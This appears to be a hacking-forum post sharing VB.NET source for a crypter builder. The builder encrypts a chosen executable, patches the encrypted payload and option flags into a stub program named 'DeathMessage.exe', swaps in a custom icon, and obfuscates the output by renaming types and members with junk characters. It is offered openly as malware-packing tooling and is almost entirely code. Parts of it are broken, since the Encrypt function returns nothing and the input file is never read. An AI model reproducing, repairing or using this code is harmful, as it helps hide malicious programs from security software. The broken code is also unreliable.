13 Years of Service
78%
[HIDE-THANKS]
[/HIDE-THANKS]
Obfuscate
[HIDE-THANKS]
[/HIDE-THANKS]
Code:
>Imports System.Collections.Generic
Imports System.IO
Imports System.IO.Compression
Imports System.Security.Cryptography
Imports System.Text
Imports Microsoft.VisualBasic.CompilerServices
Imports Swedo.Cecil
Imports Swedo.Cecil.Cil
Public Class Form1
Private c As Byte()
Private Encrypted_String As String
Private Es As String
Private file As Byte()
Private IC As String
Dim RandomClass As New Random()
Private Sub Ambiance_Button_21_Click(sender As Object, e As EventArgs) Handles Ambiance_Button_21.Click
Dim openFileDialog As System.Windows.Forms.OpenFileDialog = New System.Windows.Forms.OpenFileDialog() With
{
.Filter = "Portable Executable |*.exe"
}
If (openFileDialog.ShowDialog() = DialogResult.OK) Then
TextBox1.Text = openFileDialog.FileName
End If
End Sub
Private Sub Ambiance_Button_22_Click(sender As Object, e As EventArgs) Handles Ambiance_Button_22.Click
Dim openFileDialog As System.Windows.Forms.OpenFileDialog = New System.Windows.Forms.OpenFileDialog() With
{
.Filter = "Icon|*.Icon"
}
If (openFileDialog.ShowDialog() = DialogResult.OK) Then
TextBox2.Text = openFileDialog.FileName
End If
End Sub
Public Shared Sub AppendAllBytes(ByVal path As String, ByVal bytes As Byte())
Using stream As FileStream = New FileStream(path, FileMode.Append)
stream.Write(bytes, 0, bytes.Length)
End Using
End Sub
Public Shared Function Compress(ByVal bytData As Byte()) As Byte()
Using stream As MemoryStream = New MemoryStream
Using stream2 As GZipStream = New GZipStream(stream, CompressionMode.Compress)
stream2.Write(bytData, 0, bytData.Length)
stream2.Close()
bytData = New Byte(((stream.ToArray.Length - 1) + 1) - 1) {}
bytData = stream.ToArray
End Using
stream.Close()
End Using
Return bytData
End Function
Public Function Encrypt(ByVal bytData As Byte(), ByVal sKey As String, ByVal Optional tMode As CipherMode = 2, ByVal Optional tPadding As PaddingMode = 2) As Byte()
Dim provider As New MD5CryptoServiceProvider
Dim buffer2 As Byte() = provider.ComputeHash(Encoding.Unicode.GetBytes(sKey))
provider.Clear()
Dim provider2 As New TripleDESCryptoServiceProvider
provider2.Key = buffer2
provider2.Mode = tMode
provider2.Padding = tPadding
End Function
Public Shared Function Rn(ByVal lenght As Integer) As Object
Dim str As String = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnoprstuvwxyz"
Dim random As System.Random = New System.Random()
Dim stringBuilder As System.Text.StringBuilder = New System.Text.StringBuilder()
Dim num As Integer = lenght
Dim num1 As Integer = 1
Do
Dim num2 As Integer = random.[Next](0, 35)
stringBuilder.Append(str.Substring(num2, 1))
num1 = num1 + 1
Loop While num1 <= num
Return stringBuilder.ToString()
End Function
Private Sub Ambiance_Button_23_Click_1(sender As Object, e As EventArgs) Handles Ambiance_Button_23.Click
TextBox3.Text = Rn(RandomClass.Next(50, 99))
End Sub
Private Sub Ambiance_Button_25_Click(sender As Object, e As EventArgs) Handles Ambiance_Button_25.Click
End
End Sub
Public Function PTES3E(ByVal S As String, ByVal M As String) As Object
Dim length As Integer = S.Length
Dim i As Integer = 1
Do While (i <= length)
Dim num2 As Integer = (i Mod 2)
If (num2 = 0) Then
StringType.MidStmtStr(S, i, 1, Conversions.ToString(Strings.ChrW(((Strings.AscW(Strings.Mid(S, i, 1)) + M.Length) + &H9000))))
Else
StringType.MidStmtStr(S, i, 1, Conversions.ToString(Strings.ChrW(((Strings.AscW(Strings.Mid(S, i, 1)) - M.Length) + &H7000))))
End If
i += 1
Loop
Return S
End Function
Private Sub Ambiance_Button_24_Click(sender As Object, e As EventArgs) Handles Ambiance_Button_24.Click
Es = Convert.ToBase64String(Encrypt(file, TextBox3.Text, CipherMode.ECB, PaddingMode.PKCS7))
Encrypted_String = Conversions.ToString(PTES3E(Es, TextBox3.Text))
If Not My.Computer.FileSystem.FileExists(Application.StartupPath & "\vStub.exe") Then
Interaction.MsgBox("STUB NOT FOUND", MsgBoxStyle.ApplicationModal, Nothing)
Else
Dim definition As AssemblyDefinition = AssemblyDefinition.ReadAssembly((Application.StartupPath & "\vStub.exe"))
Dim definition2 As ModuleDefinition
For Each definition2 In definition.Modules
Dim definition3 As TypeDefinition
For Each definition3 In definition2.Types
Dim definition4 As MethodDefinition
For Each definition4 In definition3.Methods
If (definition4.IsConstructor AndAlso definition4.HasBody) Then
Dim enumerator As IEnumerator(Of Instruction)
Try
enumerator = definition4.Body.Instructions.GetEnumerator
Do While enumerator.MoveNext
Dim current As Instruction = enumerator.Current
If ((current.OpCode.Code = Code.Ldstr) And (Not current.Operand Is Nothing)) Then
Dim str As String = current.Operand.ToString
If (str = "[sT]") Then
current.Operand = Encrypted_String
Else
If (str = "[PS]") Then
current.Operand = TextBox2.Text.ToString
Continue Do
End If
If (str = "[TS]") Then
current.Operand = CheckBox2.Checked.ToString
Continue Do
End If
If (str = "[C]") Then
current.Operand = CheckBox6.Checked.ToString
Continue Do
End If
If (str = "[RS]") Then
current.Operand = CheckBox7.Checked.ToString
Continue Do
End If
If (str = "[sCHT]") Then
current.Operand = CheckBox3.Checked.ToString
Continue Do
End If
If (str = "[sLP]") Then
current.Operand = TextBox3.Text.ToString
Continue Do
End If
If (str = "[MS]") Then
current.Operand = CheckBox5.Checked.ToString
Continue Do
End If
If (str = "[NameSC]") Then
current.Operand = TextBox4.Text.ToString
End If
End If
End If
Loop
Finally
enumerator.Dispose()
End Try
End If
Next
Next
Next
Dim dialog As New SaveFileDialog
dialog.FileName = "DeathMessage.exe"
dialog.Filter = "EXE|*.exe"
If (dialog.ShowDialog = DialogResult.OK) Then
definition.Write(dialog.FileName)
If CheckBox1.Checked Then
IconChanger.InjectIcon(dialog.FileName, IC)
End If
If CheckBox4.Checked Then
Dim Swed As New Swed
Swed.T1 = New TextBox
Swed.randz(dialog.FileName)
End If
Interaction.MsgBox(dialog.FileName, MsgBoxStyle.ApplicationModal, "Done :)")
Interaction.MsgBox("SwedHack!", MsgBoxStyle.ApplicationModal, Nothing)
End If
dialog = Nothing
End If
End Sub
End ClassObfuscate
[HIDE-THANKS]
Code:
>Imports Mono.Cecil
Imports Mono.Cecil.Cil
Imports System.IO
Imports System.Runtime.CompilerServices
Public Class Swed
Public Function RandArray(ByVal a As Array) As Array
Dim list2 As New List(Of Object)
list2.AddRange(DirectCast(a, IEnumerable(Of Object)))
Dim list As New List(Of Object)
Do While (list2.Count <> 0)
Dim index As Integer = rnd(0, (list2.Count - 1))
list.Add(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(list2.Item(index)))))
list2.RemoveAt(index)
Loop
Return list.ToArray
End Function
Public Function randz(ByVal f As String) As String
Dim str2 As String
f = f.Replace("""", "")
If File.Exists((f & ".il")) Then
File.Delete((f & ".il"))
End If
File.Move(f, (f & ".il"))
Dim definition As AssemblyDefinition = AssemblyDefinition.ReadAssembly((f & ".il"))
Dim definition2 As ModuleDefinition
For Each definition2 In definition.Modules
wrt(("Module: " & definition2.Name))
Dim definition3 As TypeDefinition
For Each definition3 In definition2.Types
Dim str3 As String = RN()
wrt(("CLASS: " & definition3.Name & " > " & str3))
definition3.Name = str3
Dim definition4 As PropertyDefinition
For Each definition4 In definition3.Properties
str3 = RN()
wrt(("Properties: " & definition4.Name & " > " & str3))
definition4.Name = str3
str3 = RN()
definition4.PropertyType = definition2.Import(GetType(Object))
wrt(("*Type " & definition4.PropertyType.Name & " > " & str3))
definition4.PropertyType.Name = str3
Next
If (definition3.Properties.Count > 0) Then
Dim enumerator As IEnumerator = Nothing
Dim array As Array = RandArray(definition3.Properties.ToArray)
definition3.Properties.Clear()
Try
enumerator = array.GetEnumerator
Do While enumerator.MoveNext
Dim objectValue As Object = RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(enumerator.Current)))
definition3.Properties.Add(DirectCast(objectValue, PropertyDefinition))
Loop
Finally
If TypeOf enumerator Is IDisposable Then
TryCast(enumerator, IDisposable).Dispose()
End If
End Try
End If
Dim definition5 As EventDefinition
For Each definition5 In definition3.Events
str3 = RN()
wrt(("Event " & definition5.Name & " > " & str3))
definition5.Name = str3
definition5.EventType = definition2.Import(GetType(Object))
str3 = RN()
wrt(("*Type " & definition5.EventType.Name & " > " & str3))
definition5.EventType.Name = str3
Next
If (definition3.Events.Count > 0) Then
Dim enumerator2 As IEnumerator = Nothing
Dim array2 As Array = RandArray(definition3.Events.ToArray)
definition3.Events.Clear()
Try
enumerator2 = array2.GetEnumerator
Do While enumerator2.MoveNext
Dim obj3 As Object = Runtime.CompilerServices.RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(enumerator2.Current)))
definition3.Events.Add(DirectCast(obj3, EventDefinition))
Loop
Finally
If TypeOf enumerator2 Is IDisposable Then
TryCast(enumerator2, IDisposable).Dispose()
End If
End Try
End If
Dim definition6 As FieldDefinition
For Each definition6 In definition3.Fields
str3 = RN()
wrt(("Field " & definition6.Name & " > " & str3))
str3 = RN()
wrt(("*Type " & definition6.FieldType.Name & " > " & str3))
definition6.FieldType = definition2.Import(GetType(Object))
definition6.FieldType.Name = str3
definition6.Name = str3
Next
If (definition3.Fields.Count > 0) Then
Dim enumerator3 As IEnumerator = Nothing
Dim array3 As Array = RandArray(definition3.Fields.ToArray)
definition3.Fields.Clear()
Try
enumerator3 = array3.GetEnumerator
Do While enumerator3.MoveNext
Dim obj4 As Object = RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(enumerator3.Current)))
definition3.Fields.Add(DirectCast(obj4, FieldDefinition))
Loop
Finally
If TypeOf enumerator3 Is IDisposable Then
TryCast(enumerator3, IDisposable).Dispose()
End If
End Try
End If
Dim definition7 As MethodDefinition
For Each definition7 In definition3.Methods
If Not definition7.ToString.Contains(".") Then
str3 = RN()
wrt(("Method " & definition7.Name & " > " & str3))
definition7.Name = str3
If definition7.HasBody Then
Dim instruction As Instruction
For Each instruction In definition7.Body.Instructions
Dim instruction2 As Instruction = instruction
instruction2.Offset = (instruction2.Offset + -1)
Next
End If
Dim definition8 As ParameterDefinition
For Each definition8 In definition7.Parameters
str3 = RN()
wrt(("*Param " & definition8.Name & " > " & str3))
definition8.Name = str3
Next
End If
Next
If (definition3.Methods.Count > 0) Then
Dim enumerator4 As IEnumerator = Nothing
Dim array4 As Array = RandArray(definition3.Methods.ToArray)
definition3.Methods.Clear()
Try
enumerator4 = array4.GetEnumerator
Do While enumerator4.MoveNext
Dim obj5 As Object = RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(enumerator4.Current)))
definition3.Methods.Add(DirectCast(obj5, MethodDefinition))
Loop
Finally
If TypeOf enumerator4 Is IDisposable Then
TryCast(enumerator4, IDisposable).Dispose()
End If
End Try
End If
Next
Next
definition.Write(f)
File.Delete((f & ".il"))
Return str2
End Function
Public Function RN() As String
Dim str2 As String
Do
Dim random As New Random
str2 = ""
Dim str3 As String = "☺☻♥♦♣♠•◘○◙♀♪♫☼►◄↕‼¶§▬↨↑↓→←∟↔▲▼ ABCDEFGHIJKLMNOPQRSTUVXWYZ0123456789abcdefghijklmnopqrst記住我记住我ёд私を覚えてますか"
Dim num2 As Integer = random.Next(1, 3)
Dim i As Integer = 1
Do While (i <= num2)
str2 = (str2 & Convert.ToString(str3.Chars(random.Next(0, str3.Length))))
i += 1
Loop
Loop While orn.Contains(str2)
orn.Add(str2)
Return str2
End Function
Public Function rnd(ByVal min As Integer, ByVal max As Integer) As Integer
Dim random As New Random
Return random.Next(min, (max + 1))
End Function
Public Sub wrt(ByVal t As String)
T1.AppendText((t & ChrW(13) & ChrW(10)))
T1.ScrollToCaret()
Application.DoEvents()
End Sub
Public orn As List(Of String) = New List(Of String)
Public T1 As TextBox
End Class